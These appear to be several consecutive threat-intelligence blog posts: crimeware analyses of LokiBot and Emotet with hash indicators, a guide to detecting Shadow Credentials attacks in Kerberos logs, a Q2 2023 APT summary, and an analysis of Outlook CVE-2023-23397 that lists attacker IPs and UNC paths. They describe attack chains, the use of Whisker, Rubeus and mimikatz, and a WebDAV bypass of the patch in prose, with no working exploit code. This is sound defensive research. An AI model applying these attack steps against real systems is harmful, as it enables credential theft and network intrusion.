The full list of variables is available in our private report. The core functionality does not include malware loading, which is implemented in a separate module.

What also stands out is the way strings are encrypted. Each string is encrypted with a unique key and a custom version of Base64 encoding using a custom character set.

LokiBot

LokiBot is an infostealer that first surfaced in 2016 and remains active today. It is designed to steal credentials from various applications, such as browsers, FTP clients and others. Recently, we detected a phishing campaign targeting cargo ship companies that drops LokiBot.

In the cases we investigated, the victims received an email appearing to come from a business contact and stating port expenses that needed to be paid. Attached to the email was an Excel document. As expected, when opening the document the user was asked to enable macros. However, this was a fake warning, as the document did not contain any macros, trying to exploit CVE-2017-0199 instead.

That vulnerability makes it possible to open a remote document by providing a link. This results in downloading an RTF document, which in turn exploits another vulnerability, namely CVE-2017-11882. By exploiting this other vulnerability, LokiBot is downloaded and executed.

Once executed, it collects credentials from various sources and saves into a buffer inside the malware, after which it sends them to the C2. Data is sent via POST requests compressed with APLib. After sending out system information, the malware listens for additional C2 commands. These commands can be used to download additional malware, run a keylogger, and so on.

Emotet

Emotet is a notorious botnet that, despite being taken down in 2021, resurfaced later. In their recent wave of attacks, they jumped on the OneNote infection bandwagon,sending emails with malicious OneNote files. Opening one of these displays an image similar to the one below.

Emotet OneNote decoy document

Clicking on the view button executes the embedded and obfuscated malicious VBScript. The deobfuscated code is fairly simple.

Deobfuscated downloader script

As one can see, there are several sites containing the payload. The script tries each of them until it succeeds, and then saves the payload, a DLL, in the temp directory, executing it with regsvc32.exe. The executed DLL then loads a resource (LXGUM) from its resource section and decrypts it with a simple rolling XOR algorithm as illustrated below.

Resource decryption code

The decrypted payload is actually shellcode that does a typical import by hash. Two of the resolved functions are LdrLoadDll and LdrGetProcedureAddress, frequently used by malware authors to evade dynamic analysis of well-known APIs: LoadLibrary and GetProcAddress in this case. Next, memory is allocated, and a blob (a PE file) from the resource section is written to the allocated memory, which is the final Emotet payload. DLL dependencies are resolved, and the Import Address Table (IAT) is reconstructed. The shellcode then overwrites the DOS header of the PE file, in order to make it more difficult for EDR solutions to detect the binary in the memory. Finally, Emotet is executed.

The Emotet payload itself remains the same as in the previous waves of attacks.

Conclusion

Malware continuously evolves, and TTPs change, hindering detection. Besides, it can be difficult for an organization to decide which type of malware threat to defend from first. Intelligence reports can help you to identify the threats relevant to your business and to stay protected against these. If you want to keep up to date on the latest TTPs used by criminals, or if you have questions about our private reports, reach out to us at crimewareintel@kaspersky.com.

Indicators of compromise (MD5s)

LokiBot
31707f4c58be2db4fc43cba74f22c9e2
2c5cf406f3e4cfa448b167751eaea73b

DarkGate
1B9E9D90136D033A52D2C282503F33B7
149DA23D732922B04F82D634750532F3

Emotet
238f7e8cd973a386b61348ab2629a912
df3ee4fb63c971899e15479f9bca6853

One of the most complex yet effective methods of gaining unauthorized access to corporate network resources is an attack using forged certificates. Attackers create such certificates to fool the Key Distribution Center (KDC) into granting access to the target company’s network. An example of such an attack is the Shadow Credentials technique, which lets an attacker sign in under a user account by modifying the victim’s msDS-KeyCredentialLink attribute and adding an authorization certificate to it. Such attacks are difficult to detect because, instead of stealing credentials, the cybercriminals use legitimate Active Directory (AD) mechanisms and configuration flaws.

Nevertheless, it is possible (and necessary) to counter attacks that use forged certificates. Having analyzed the practical experience of our MDR service, I identified several signs of such attacks inside the network and developed a Proof-of-Concept utility capable of finding artifacts in AD, as well as a number of detection logic rules that can be added to SIEM. But first a few words about the quirks of certificate-based Kerberos authentication.

Kerberos authentication in AD and implementation quirks

In modern corporate networks based on Active Directory, resource management is performed by the Kerberos protocol. Users can access any service (object) inside the network only if they can provide this object with a ticket issued by the KDC (Msg E in the figure below). The KDC component that issues service tickets is called the Ticket Granting Server (TGS). Moreover, the user receives a TGS ticket from the KDC only if they have a Ticket Granting Ticket (TGT) (Msg B in the figure below). Essentially, a TGT is proof of successful user authentication, usually by password.

Kerberos authentication scheme. Source: https://en.wikipedia.org/wiki/Kerberos_(protocol)

However, there is a way to get a TGT without knowing the password — using a certificate. For this to work, the KDC must trust the provided certificate, and the certificate must relate to the subject requested in the TGT. This part of Kerberos, called Public Key Cryptography for Initial Authentication (PKINIT), makes it quite easy to set up authentication if there is a (Certificate Authority) in the corporate network that issues certificates for domain users. But there is an alternative way.

Source: https://github.com/ShutdownRepo/The-Hacker-Recipes/blob/master/.gitbook/assets/Pass%20the%20things.png

For example, to take advantage of Microsoft Hello for Business features, such as PIN-based authorization or face recognition, the device from which you’re signing in must have its own certificate in AD so that the KDC can issue a TGT based on this certificate. However, not all networks with Active Directory have a Certificate Authority. This is the reason for inventing the msDS-KeyCredentialLink attribute, where the certificate can be written. The KDC will trust this certificate and issue a TGT. That’s a really good solution that extends the capabilities of Microsoft Active Directory.

However, based on the above logic, the subject that writes the msDS-KeyCredentialLink attribute to some object will also be able to get a ticket for this object. Therein lies the problem.

How the attack unfolds

Let’s illustrate one of the possible attack scenarios:

1. The subject logan_howard, having write permissions for any attribute in the AD domain, writes a public key to the msDS-KeyCredentialLink attribute for a domain controller object (ad-gam$), using the Whisker

2. The subject receives the TGT (using the Rubeus toolkit) issued to the domain controller.

3. On presenting this TGT, the subject gets a TGS ticket to synchronize password information in the domain (MS-DRSR: Directory Replication Service (DRS) Remote Protocol).
4. Acting as this subject, the attacker “synchronizes” the hash from the domain administrator account (Administrator) to impersonate the administrator for the purpose of gaining access to data and moving laterally inside the corporate network. This attack is called DCSync and uses mimikatz.

Where to look for artifacts

Let’s focus not on how to get the KDC to trust a particular certificate, including stolen or forged ones, but on what happens when the TGT is issued. This triggers Event 4768 on the domain controller: A Kerberos authentication ticket (TGT) was requested. This event may contain artifacts from the certificate used for authentication, with three fields: CertIssuerName, CertSerialNumber and CertThumbprint. These fields are what we’ll look at.

What tools to use

For simplicity and convenience, we’ll handle all events in the Kibana interface of the ELK cluster. By default, Logstash actually knows how to convert the bit fields of Event 4768 into an array of values specific to a ticket in the list. This also makes the search much faster and smoother. I recommend using the handy set of Docker configurations to get your ELK lab up and running quickly. Plus the official WinLogBeat setup guide.

What to say about these events

On the test bench we created several TGT request events based on a forged certificate that we generated using Whisker. Here’s what these events look like in the test environment:

Within the framework of the MDR service, we observe several hundred thousand certificate-based ticket request events a week. On their basis, we can use this fairly broad sample to identify some patterns:

• A significant portion of the events is made up of certificate-based ticket requests for Microsoft Azure Active Directory (the “Azure” line in the aggregation in the screenshot below). These events are of no interest to us — they can be easily filtered using a regular expression with the value of the CertIssuerName field in the Kibana interface.

CertIssuerName.raw:/S\-1\-(5\-21|12\-1)\-([0-9]{8,10}\-){3}[0-9]{4,10}\/[a-f0-9]{8}\-([a-f0-9]{4}\-){3}[a-f0-9]{12}\/login\.windows\.net\/[a-f0-9]{8}\-([a-f0-9]{4}\-){3}[a-f0-9]{12}.*/

• There are also many events for certificates used by Windows Hello for Business (the “Hello4B self gen” line). In this case, the certificate data is written to the msDS-KeyCredentialLink attribute, and the key is programmatically generated (NCRYPT_IMPL_SOFTWARE_FLAG). They typically have a name that begins with “CN=” and a two-digit serial number, usually 01.

CertIssuerName.raw:CN=* AND CertSerialNumber.raw:01

• If the computer has a key stored in Trusted Platform Module (the “TPM enrolled” line), , then the certificate that uses this key can likewise be described by regular expressions, hence we are not interested in it.

CertSerialNumber.raw:/[a-f0-9]{32}/ AND CertThumbprint.raw:/[a-f0-9]{40}/

• But perhaps the most common case is using certificates issued by Microsoft Certificate Authority (the “Windows server CS role issued” line). This service can be enabled on a computer running a server version of Microsoft Windows. It’s worth noting here that if you monitor your local infrastructure yourself and are not an MSSP, you’ll find it far easier to filter out this case by the CertIssuerName value — the name of your CA server (most likely the only one for each domain in the forest). Indeed, even large corporate networks have a fairly small number of CAs able to issue certificates. But even if you are an MSSP, it’s still won’t be too much trouble to figure out the names of all client PKI servers in order to filter them out. Now for some patterns in other fields.

CertSerialNumber.raw:/[a-f0-9]{38}/ AND CertThumbprint.raw:/[a-f0-9]{40}/

• Here, too, there may be third-party PKI implementations whose certificates are trusted by Kerberos servers in issuing tickets. For example, our monitoring came across specialized software developed by the firm Lanaco (no more than ten requests in 30 days). We can filter that as well.

Using real data, let’s see what queries we can filter out. For this, we can build the following aggregation using the regular expressions described above:

Aggregation of certificate-based ticket request events in the Kaspersky MDR service

Take a look at the “Rest” line, which contains the remaining unfiltered events (13 of them), shown in detail. Pay attention to the CertIssuerName field; see the details below.

Expanded list of unfiltered certificate-based ticket request events

Exploring the Whisker code

As I mentioned, in our example the certificate was generated in the Whisker utility itself with default parameters. See here for a description of the procedure for generating a self-signed certificate.

As we can see, Whisker tries to pass of its certificates as Windows Hello for Business certificates (in the case of programmatic generation, a key pair). However, the original certificates (when a Windows PC independently generated a certificate to use this functionality) contain an error: the Distinguished Name (DA) notation in the CertIssuerName field uses the format “CN=…”. The attackers’ toolkit is free of this error, which is suspicious. The second and third lines can be compared with the data from the test bench, but in the MDR product system (also see below).

We can add a Painless script directly to Kibana that finds all 4768 events resulting from case-insensitive matches between CertIssuerName and TargetAccountName.

{ "query": { "bool": { "filter": { "script": { "script": { "lang": "painless", "source": "doc['CertIssuerName.raw'].value.equals(doc['TargetAccountName.raw'].value.toLowerCase())" } } } } } }

There are ten such events, all of which relate to the use of the Whisker utility.

Exploring fields with ticket flags

Now let’s consider the winlog.event_data.TicketOptionsDescription field in events from the test bench over an arbitrary time interval during which both forged and legitimate TGT requests occur.

What’s striking is the absence of the name-canonicalize flag, which plays an important role in the Kerberos infrastructure. The thing is that a service or account can have multiple primary names. For example, if a host is known by multiple names, services based on it may have multiple Service Principal Names (SPNs). To relieve the client of having to request a ticket for each name, the KDC can provide it with mapping information during the credential retrieval process. This functionality is requested when the name-canonicalize flag is enabled. If the “canonicalize” option is set, the KDC can modify the names and SPNs of both the client and the server in the response and the TGT. But in our case this flag is missing, which, as mentioned, is suspicious. Let’s find all tickets without this flag but requested using PKINIT (certificate-based). We create a request based on Kaspersky MDR product data.

The result, as we see, is Whisker + Rubeus activity (for the last 30 days) on our bench (AD-Gam host) and the work of my colleague (the others) in testing a group of vulnerabilities in the AD CS settings, which we combined under the general name ADCS ESC or Certified Pre-Owned. In addition, there is one false positive filtered by certificate name and one incident sent to the client. That’s not a bad conversion.

Let’s look at the example of Rubeus to see why the name-canonicalize flag is not set in ticket requests.

It turns out that Rubeus does not set this flag on purpose. Likewise with Impacket, the de facto standard toolkit for security analysts who work with Kerberos (and not only). This explains why our search for flagless tickets also turned up the work of my colleague, who tested ESC techniques (using a toolkit based on Impacket). Such utilities are plentiful due to the simplicity of the code and the popularity of the language.

What about the msDS-KeyCredentialLink attribute itself?

We can compare two attributes: one set legitimately during Hello for Business configuration, the other set by Whisker. There is a difference between them. When comparing these attributes, I in fact wrote a tool that lets you find artifacts from an illegitimate attribute setting, for example, as a result of using Whisker.

You can download and use this utility yourself in the development environment; when debugging, try to find and compare the key differences in the “good” and “bad” attributes.

Things to pay attention to:

• Does the msDS-KeyCredentialLink attribute have a DeviceId (GUID format)? If it does, plus there’s no object with this ID in the domain, that’s suspicious. If there is such an object, and it belongs to the Azure AD connector, that’s likely to be a legitimate case.
• The Flags field does not contain MFANotUsed. But typically does in a legitimate case.
• KeyMaterial has a length other than 270 bytes — these are exactly the kind of artifacts that Whisker leaves behind.
• KeyApproximateLastLogonTimeStamp and KeyCreationTime are almost identical. However, this indicator is less reliable and better not used.

Wrap-up

The above-described attacks are relatively effective, but they can be detected when a forged certificate is used. Knowledge of the infrastructure (ideally including a list of all active keys) and monitoring will assist the security expert in this. Also of great help is the ability to spot common patterns and artifacts of attacks using forged certificates, and my utility will simplify the search process.

For more than six years, the Global Research and Analysis Team (GReAT) at Kaspersky has been publishing quarterly summaries of advanced persistent threat (APT) activity. These summaries are based on our threat intelligence research; and they provide a representative snapshot of what we have published and discussed in greater detail in our private APT reports. They are designed to highlight the significant events and findings that we feel people should be aware of.

This is our latest installment, focusing on activities that we observed during Q2 2023.

Readers who would like to learn more about our intelligence reports or request more information on a specific report, are encouraged to contact intelreports@kaspersky.com.

The most remarkable findings

Early in June, we issued an early warning of a long-standing campaign that we track under the name Operation Triangulation, involving a previously unknown iOS malware platform distributed via zero-click iMessage exploits. Kaspersky employees were also affected by this threat. In addition to reaching out to industry partners to assess the prevalence of this threat, we provided a forensic methodology to help readers determine whether their organization is targeted by the unknown group behind these attacks. We subsequently published a utility to check for indicators of compromise (IoCs).

Following this, we released the first of a series of additional reports describing the final payload in the infection chain: a highly sophisticated spyware implant that we dubbed “TriangleDB”. Operating in memory, this implant periodically communicates with the C2 (command and control) infrastructure to receive commands. The implant allows attackers to browse and modify device files, get passwords and credentials stored in the keychain, retrieve geo-location information, as well as execute additional modules, further extending their control over the compromised devices.

Russian-speaking activity

The Russo-Ukrainian conflict has ignited the movement of multiple factions around the world. Cyberattacks have spiked and various hacktivist groups have taken sides. Arising from the flames of this physical conflict, Killnet emerged as a group primarily focused on selling access to its stressor service. Driven by nationalist ideals and motivations, it swiftly gained prominence as one of the most influential hacktivist groups aligned with pro-Russian sentiments. Killnet, led by a person nicknamed “KillMilk”, is one of the leaders of the hacktivist movement that uses DDoS as a means of disruption. Backed by numerous allies and a growing fan base that provides support, Killnet has successfully targeted multiple entities affiliated with NATO or providing support to Ukraine in the ongoing conflict. Its recent attacks have extended to US healthcare organizations, while also leaking documents from various entities in an effort to cause both psychological and organizational repercussions among its adversaries. Our private report delved into the origins of Killnet: how it emerged; the tools of its trade; the communication channels it uses; its allies and adversaries and the groups it collaborates with; the monetary support that enables the group and its leader to sustain its activities; and the current and future direction of the group.

Chinese-speaking activity

ToddyCat, a sophisticated threat actor, continues to operate in Asia, targeting government entities in Malaysia, Thailand and Pakistan. The group’s latest activities, from September 2022 until March 2023, involve a new set of custom loaders and its private post-exploitation tool “Ninja,” used to help it remain undetected. In the past year, ToddyCat has updated its toolset to avoid detection and reduce the number of targets. We now have better visibility into the group’s tactics, particularly in the areas of lateral movement, data collection and exfiltration. Additionally, ToddyCat has started using Cloudflare workers as C2 servers, aligning with a trend we’ve observed among other threat actors.

We also reported on ToddyCat Sylo, where the group introduced additional collection and exfiltration tools and used previously compromised user accounts with high privileges for lateral movement. Several tools were used to gather documents. The first, “LoFiSe”, packs files into a ZIP archive. The second is a PowerShell script that uses WinRAR to exfiltrate files. After collecting the data, archives with files were sent to OneDrive using another tool, “Pcexter”.

Spanish-speaking activity

We’ve seen constant activity from the KelvinSecurity team over the past few years, dating back to 2015. The group has described itself as hacktivist and “grey hat” security oriented, and has sold and leaked databases, documents, and access belonging to entities worldwide. These attacks are occasionally motivated by activist factors or financial gain. In our private report, we presented an overview of previous and current attacks, the group’s objectives, and its methodologies. We explored the group’s infrastructure as a way of understanding how it shares its leaks, and provided insight into the group’s leadership and potential perpetrators.

We discovered a BlindEagle espionage campaign targeting government entities in Colombia, active since at least March of this year. BlindEagle has established a reputation for targeting institutions and corporations in South America, primarily engaging in cyber-espionage activities, while also engaging in financial information theft. In a recent report, we highlighted an incident where the threat actor utilized a modified version of the Quasar RAT, repurposing it as a banking Trojan to specifically target customers of financial entities in Colombia. However, in its latest campaign, BlindEagle has shifted its focus to another open-source RAT known as “njRAT”, with the primary objective of conducting espionage on its victims. Our analysis delved into BlindEagle’s most recent espionage campaign, covering the entire infection flow from the initial spear-phishing emails to the deployment of the njRAT implant.

Middle East

We recently obtained JackalControl C2 communications from a campaign targeting government entities in Iran, active until early April 2023. The server response we gathered sheds light on the threat actor’s methodology for profiling victims, how it deploys and configures the JackalSteal component, and what types of files are deemed interesting. GoldenJackal, an APT group we discovered in 2020, primarily targets high-profile entities in the Middle East and South Asia. Over the years, we have closely monitored its activities and have published multiple reports detailing its TTPs and toolset.

Our monitoring activities also uncovered two new malware samples, named “JackalPerInfo” and “JackalScreenWatcher”, which we have linked to GoldenJackal and which we suspect have been part of their toolset since 2020. These tools are used in the post-exploitation stage of an attack, gathering screenshots and various files from an infected host. The samples were discovered on a system that was not protected by our products and scanned with our free Kaspersky Virus Removal Tool, which correctly detected and removed the threat. We believe that GoldenJackal targets only unprotected systems or systems without Kaspersky protection. Our report provided details on these new components, shedding further light on GoldenJackal’s toolset and TTPs.

On April 26, a third party publicly described BellaCiao (a malicious script dropper) and associated it with Charming Kitten (aka APT35). We retrieved several BellaCiao samples, including undocumented variants, and provided additional IoCs, as well as contextual information on related malicious activities and tools. The threat actor probably leveraged vulnerabilities on internet-facing servers to deploy BellaCiao. The operations date back to at least May 2022, and malicious infrastructure analysis indicates possible operations starting in 2021. While the threat actor has mostly deployed Plink to establish tunnels between malicious infrastructure and targeted servers, it also leveraged the open-source tool “bore”, written in Rust. We identified WatchMaster, a possibly related tool that attempts to dynamically delete ASP .NET files, except for some web shells on IIS servers. Our telemetry indicates that BellaCiao has been used against targets in Afghanistan, Austria, Israel and Turkey since at least November 2022. Additionally, the content of some samples suggests the implant was probably used to target organizations in Italy. The threat actor used BellaCiao to reach RDP servers and harvest credentials from compromised organizations.

In a previous report on the OilRig APT, we analyzed a targeted attack on an IT company in Jordan in August 2022, in a probable supply-chain attack on government institutions. That intrusion went silent in September 2022, and resurfaced with updated tools around November 2022, before going silent again. Recently we came across a new set of samples that resemble the previous intrusion in Jordan and with similar TTPs. However, this time we believe the infection took place at an IT company in the UAE. Our report highlighted the developments in the new intrusion to drop the initial loaders; and provided an assessment of what to expect from such intrusions in the near future.

Southeast Asia and Korean Peninsula

In early September 2022, our team discovered several malware detections from the MATA cluster, previously attributed to the Lazarus group, targeting defense contractors in Eastern Europe. This campaign remained active until March 2023. Expanding the scope of our research, we investigated and discovered additional new, active campaigns with full infection chains, including an implant designed to work in air-gapped networks via USB sticks, as well as a Linux MATA backdoor. The new, updated MATA malware was distributed using spear-phishing techniques, with the attackers deploying their malware in multiple stages using validators. The threat actor also abused various security and anti-malware solutions used by the victims. The new MATA orchestrator introduced several modifications to its encryption, configuration and communication protocols and appears to have been rewritten from scratch. The next generation of MATA includes new functionality to circumvent network restrictions, allowing the actor to build complex proxy chains within the victims’ network, and to create a ‘stack’ of various communication protocols to be used for C2 communications.

We also discovered a new variant, MATAv5. This sophisticated malware, completely rewritten from scratch, exhibits an advanced and complex architecture that makes use of loadable and embedded modules and plugins. MATAv5 is capable of functioning as both a service and a DLL within different processes. The malware leverages Inter-Process Communication (IPC) channels internally and employs a diverse range of commands, enabling it to establish proxy chains across various protocols, including within the victim’s environment. While MATAv5 has undergone substantial evolution, and shares minimal code with its predecessors, there are still similarities in terms of protocols, commands, and plugin structures. These similarities suggest a consistent approach to functionality across different generations of the malware.

We have been tracking an unknown malware cluster, dubbed “ScoutEngine”. Initially, we found no similarities with known malware or threat actors. However, upon closer inspection of the entire malware, we discovered that this malware has been in continuous development since 2020. ScoutEngine has several numbered versions from 2.1 to 2.3. Each version has a different infection scheme, and the malware author has updated the method for retrieving the next stage payload and configuration data, decryption key, and C2 communication formats as the versions have evolved. ScoutEngine’s objective is to fetch additional payloads based on the attacker’s commands and execute them in memory. Unfortunately, we are currently unable to determine the final payload. Ultimately, we were able to confidently conclude that the Lazarus group is responsible for the ScoutEngine cluster. Its components and configurations closely resemble those of Lazarus malware: in particular, ScoutEngine employs an unusual method, previously observed in the CookieTime malware, to generate a registry path and acquire configuration data.

On March 29, CrowdStrike issued an alert about a supply-chain attack affecting the popular 3CXDesktopApp VoIP software. In their report, they tentatively attributed the ongoing attack to Lazarus. While investigating campaigns related to the 3CX attack, we uncovered evidence of another supply-chain attack targeting the X_TRADING software developed by Trading Technologies. This attack has been ongoing since late 2021 and shares similarities with the 3CX campaign. We notified Trading Technologies of the compromise of its web service assets on March 31 this year, and included guidance on how to handle the situation. Furthermore, we discovered that the actor behind the 3CX attack, which we also believe to be Lazarus with medium-high confidence, is using a backdoor that we have named Gopuram‘ to target selected victims of the 3CX intrusion. Our analysis of Gopuram dates back to 2020 when we first encountered it on compromised systems alongside the AppleJeus malware known to be associated with Lazarus.

We discovered a recent BlueNoroff campaign that implements new malware delivery methods using Trojanized PDF readers, targeting both Windows and macOS systems using the same infection method. It appears that the actor distributed the Trojanized PDF reader along with a specially crafted PDF file. The malware is designed to execute only when the victim opens the malicious PDF file. Once opened, the PDF reader retrieves the offset of the decoy PDF document and the C2 URL from the PDF file. Our research has shown that the decoy documents used in this attack are related to venture capital and investigative reports from government agencies. Once the malware successfully retrieves this information, it sends the victim’s data to the remote server and initiates the execution of additional payloads delivered from the attacker’s servers. This is the first time thay BlueNoroff group has implemented macOS malware. Moreover, the group utilized compiled AppleScript during the initial stage of the attack, while the malware retrieved by the Trojanized PDF reader was created using the Rust programming language. This is the first time the BlueNoroff group has used Rust for its malware. As the target environment is diverse, the BlueNoroff group has employed additional programming languages and methodologies to efficiently deliver its malware.

The Asia-Pacific region has been a hotspot for cyberattacks by various threat actors for the past couple of years. Among the many APT actors active in this region, a number of them focus on Pakistani victims. We recently discovered a cluster of activity in this region focusing on a similar victim profile. We published two private reports on this threat actor, which we have named “Mysterious Elephant”. The first report highlighted the primary TTPs used by this threat actor over the past few years. Some of the tools used by Mysterious Elephant exhibit similarities with older tools that were previously employed by other threat actors in the region. For instance, earlier versions of the Rover backdoor, analyzed in our report, were used by SideWinder and Confucius. The second report focused on the analysis of a campaign targeting a number of victims associated with Pakistan’s foreign affairs. The primary malware utilized in this campaign is a new backdoor family that is dropped onto victims’ machines through a malicious RTF document that exploits the CVE-2017-11882 vulnerability. This document is downloaded via another spear-phishing document that serves as a remote template. The backdoor module establishes communication with its C2 server using Remote Procedure Call (RPC) and has the ability to execute files or commands on the victim’s machine, as well as receive files or commands from the C2 server for execution on the infected computer.

With Microsoft disabling macro-embedded Office documents, threat actors began adopting new malware delivery methods, among them the ScarCruft group, which swiftly changed its initial infection tactics. The group operates two clusters named “Chinotto” and “RokRat”. While they have historically relied heavily on macro-embedded Word documents, they have continuously adopted other file formats, such as compiled HTML (.CHM) and Windows shortcut (.LNK) files. Furthermore, to evade Mark-of-the-Web (MOTW) mitigation, these files were delivered in archive file formats such as .RAR and .ZIP, or in optical disk image (.ISO) file formats. Despite continuous testing of the initial infection vectors, the actors persisted in using the same final payload. The Chinotto cluster still employs the Chinotto PowerShell script as a final payload, which is responsible for executing Windows commands on the victim’s computer. Similarly, the RokRat malware is delivered to the victim through a complicated infection procedure. This shows that the threat actor is putting a lot of effort into the initial infection vector, while still relying on the same final payload.

Final thoughts

While the TTPs of some threat actors remain consistent over time, relying heavily on social engineering to gain a foothold in a target organization or compromise an individual’s device, others have refreshed their toolsets and expanded the scope of their activities. Our regular quarterly reviews are designed to highlight the most significant developments among APT groups.

Here are the top trends we’ve seen in Q2 2023:

• One of the main highlights of the quarter was the discovery of the long-running Operation Triangulation campaign, including the previously unknown iOS malware platform.
• We’ve become accustomed to seeing established threat actors enhancing their toolsets over time. So far, this year has been no different – in particular, this includes Lazarus’s development of its MATA framework, the new delivery methods and programming languages used by BlueNoroff, new infection methods used by ScarCruft and new malware samples from GoldenJackal.
• We also saw a campaign from the newly discovered threat actor Mysterious Elephant.
• We continue to see threat actors using a variety of different programming languages.
• APT campaigns continue to be geographically dispersed. This quarter, we saw actors focusing their attacks on Europe, Latin America, the Middle East and various parts of Asia.
• Geopolitics remains a key driver of APT development, and cyber-espionage continues to be a prime goal of APT campaigns.

As always, we would note that our reports are the product of our visibility into the threat landscape. However, it should be borne in mind that, while we strive to continually improve, there is always the possibility that other sophisticated attacks may fly under our radar.

Disclaimer: when referring to APT groups as Russian-speaking, Chinese-speaking or “other-speaking” languages, we refer to various artefacts used by the groups (such as malware debugging strings, comments found in scripts, etc.) containing words in these languages, based on the information we obtained directly or that is otherwise publicly known and widely reported. The use of certain languages does not necessarily indicate a specific geographic relation, but rather points to the languages that the developers behind these APT artefacts use.

On March 14, 2023, Microsoft published a blogpost describing an Outlook Client Elevation of Privilege Vulnerability (CVSS: 9.8 CRITICAL). The publication generated a lot of activity among white, grey and black hat researchers, as well as lots of publications and tweets about the vulnerability and its exploitation. Below, we will highlight the key points and then focus on the initial use of this vulnerability by attackers before it became public.

Affected products include all supported versions of Microsoft Outlook for Windows. Other versions of Microsoft Outlook, such as those for Android, iOS, macOS, and Outlook on the web and other MS365 services, are not affected.

The CVE-2023-23397 vulnerability

From a technical point of view, the vulnerability is a critical EoP that is triggered when an attacker sends an Outlook object (task, message, or calendar event) within an extended MAPI property that contains a UNC path to an SMB share on a threat actor-controlled server, resulting in a Net-NTLMv2 hash leak. No user interaction is required. The NTLM leak occurs when the reminder window is displayed, not just when the message is received. However, an already expired reminder will be fired immediately upon receipt of the object!

The connection to the remote SMB server sends the user’s Net-NTLMv2 hash in a negotiation message, which the threat actor can use to either:

• Relay for authentication against other systems that support NTLMv2 authentication.
• Perform offline cracking to extract the password.

Note: as these are NTLMv2 hashes, they cannot be leveraged as part of a Pass-the-Hash technique.

The affected Net-NTLMv2 hash belongs to the user currently signed in to the Windows device where the Outlook client application is running, regardless of the identity that received the malicious message. If the user does not dismiss the Outlook reminder/task alert, or if the reminder is recurring (i.e., fires multiple times), the user’s Net-NTLMv2 hash may be leaked multiple times.

The vulnerability fix

The fix in the Outlook client code for CVE-2023-23397 is that Outlook’s PlayReminderSound() now calls IsFileZoneLocalIntranetOrTrusted(), which uses MapUrlToZone() to honor the SMB URI only if it is in a trusted/local zone. This means that a UNC path to an INTRANET/TRUSTED local zone can still be abused even on a patched MS Outlook client (SMB local exploitability should still be possible).

It appears that the implemented fix could be easily bypassed by forging the malicious UNC path with a particular format, then even a patched client could still be vulnerable (feature bypass vulnerability has been assigned CVE-2023-29324 and patched in May 2023) However, the hotfix is still effective on the server side and the exploit vector couldn’t be a CVE-2023-23397 patched Exchange server because it removes the extended MAPI property containing the malicious UNC path on any object in transit.

The WebDAV protocol

In the MS Guidance for investigating attacks using CVE-2023-23397,  there is a note about WebDAV reported below:
“Note: Interaction based on the WebDAV protocol is not at risk of leaking credentials via this exploit technique. While the threat actor infrastructure might request Net-NTLMv2 authentication, Windows will honor the defined internet security zones and will not send (leak) Net-NTLMv2 hashes. In other words, the vulnerability only affects the SMB protocol. If a target device can communicate to threat actor infrastructure over port 445 (SMB), Net-NTLMv2 hashes might be sent; however, if this communication via SMB is not possible, Windows will fall back to leveraging WebDAV. WebDAV will set up a connection with the threat actor infrastructure, but Net-NTLMv2 hashes will not be sent.”

It seems WebDAV already implements proper checks with regard to local intranet/trusted resources, and MS only considers the leak effective when it appears to an external entity. So, the logical assumption should be: “The WebDAV protocol is not at risk of leaking credentials via this exploit technique TO ANY NETWORK EXTERNAL ENTITY”. What about the local exploitability of WebDAV?

UNC paths can also be used to make a WebDAV request to an external domain, either by SMB falling back to WebDAV (if SMB traffic to the internet is blocked or otherwise fails, Windows will fall back to using WebDAV – if available – to try to complete the connection), or by forcing WebDAV by appending “@80” or “@SSL@443” to the host name.

Internal tests appear to confirm that WebDAV is locally abusable by forcing the use of WebDAV through appending @<port> to the hostname and by using a dotless hostname (considered local network zone by WebDAV); then local exploitability should be possible on a PATCHED client for both SMB and WebDAV.

The samples

Evidence of these vulnerabilities being exploited by an unknown attacker has been made public via the submission of samples to VirusTotal. Some samples submitted to VirusTotal in the past were later found to exploit CVE-2023-23397; others were published after the vulnerability was publicly disclosed.

Three variations of the samples were found on VirusTotal:

• MSG format (full email with message header) -> provide usage time reference and a supposed target
• EML format (full email with message header) -> provide usage time reference and a supposed target
• TNEF format (only TASK attachment in TNEF format) -> NO time reference and NO supposed target

Many initial publications about these samples referred to April 2022 as the first available evidence because the “FirstSeen VT” field on the oldest sample timestamp was 2022-04-14 (with a received timestamp in the mail header on the same day).

However, a later sample appeared (in a different format – TNEF attachment in .eml – that was not detected by the first version of the YARA rule used by VirusTotal) with a “FirstSeen VT” timestamp of 2022-04-01 and a received timestamp in the mail header of 2022-03-18. In any case, the vulnerability was at the disposal of the first attacker for at least a year.

All publicly available samples found range from 2022-03-18 to 2023-03-29 (this is the last timestamp found in a sample related to a real-world exploit attempt by the attacker). All other samples with a “FirstSeen VT” timestamp starting from 2023-03-15 are mainly tests or POCs or just TNEF attachments missing target and reference timestamp details.

Sample list

Timeline of detected samples

• Target: Government entity – UA

2022-03-18 – лист.eml
VT First Submission 2022-04-01 06:21:07 UTC
UNC path \\5.199.162.132\SCW (reminder time set to 2019-05-06 20:00)
Sent by: 5.199.162.132 on 2022-03-18 12:01:09 UTC <- THE OLDEST PUBLIC EVIDENCE FOUND TO DATE

• Target: Government entity – RO

Happy Birthday..msg
VT First Submission 2022-04-14 11:49:27 UTC
UNC path \\101.255.119.42\event\2431 (reminder time set to 2020-10-06 20:00)
Sent by: 101.255.119.42 on 2022-04-14 10:35:39 UTC

Celebration.msg
VT First Submission 2022-05-18 07:26:26 UTC
UNC path \\101.255.119.42\mail\a5b3553d (reminder time set to 2020-04-07 11:30)
Sent by: 101.255.119.42 on 2022-05-17 14:21:25 UTC

• Target: Energy transportation critical infrastructure – PO

Information!.msg
VT First Submission 2022-08-05 08:22:49 UTC
UNC path relates to 181.209.99.204 based on VT information should be \\181.209.99.204\information

• Target: Military supplier – PO

Silence..eml
VT First Submission 2023-03-23 09:03:23 UTC, but its TNEF attachment VT First Submission 2022-09-29 11:29:43 UTC
UNC path \\213.32.252.221\silence (reminder time set to 2020-03-10 10:30)
Sent by: 213.32.252.221 on 2022-09-09 09:04:23 UTC

• Target: Transportation critical infrastructure – PO

Interest..msg
VT First Submission 2022-10-05 14:10:40 UTC
UNC path relate to 213.32.252.221 based on VT information

• Target: Government entity – JO

Information!.msg
VT First Submission 2022-10-25 10:00:00 UTC
UNC path \\168.205.200.55\test (reminder time set to 2019-02-17 19:00)
Sent by: 168.205.200.55 on 2022-10-25 09:12:02 UTC

• Target: Transport critical infrastructure – PO

Fwd..msg
VT First Submission 2022-11-04 09:28:28 UTC
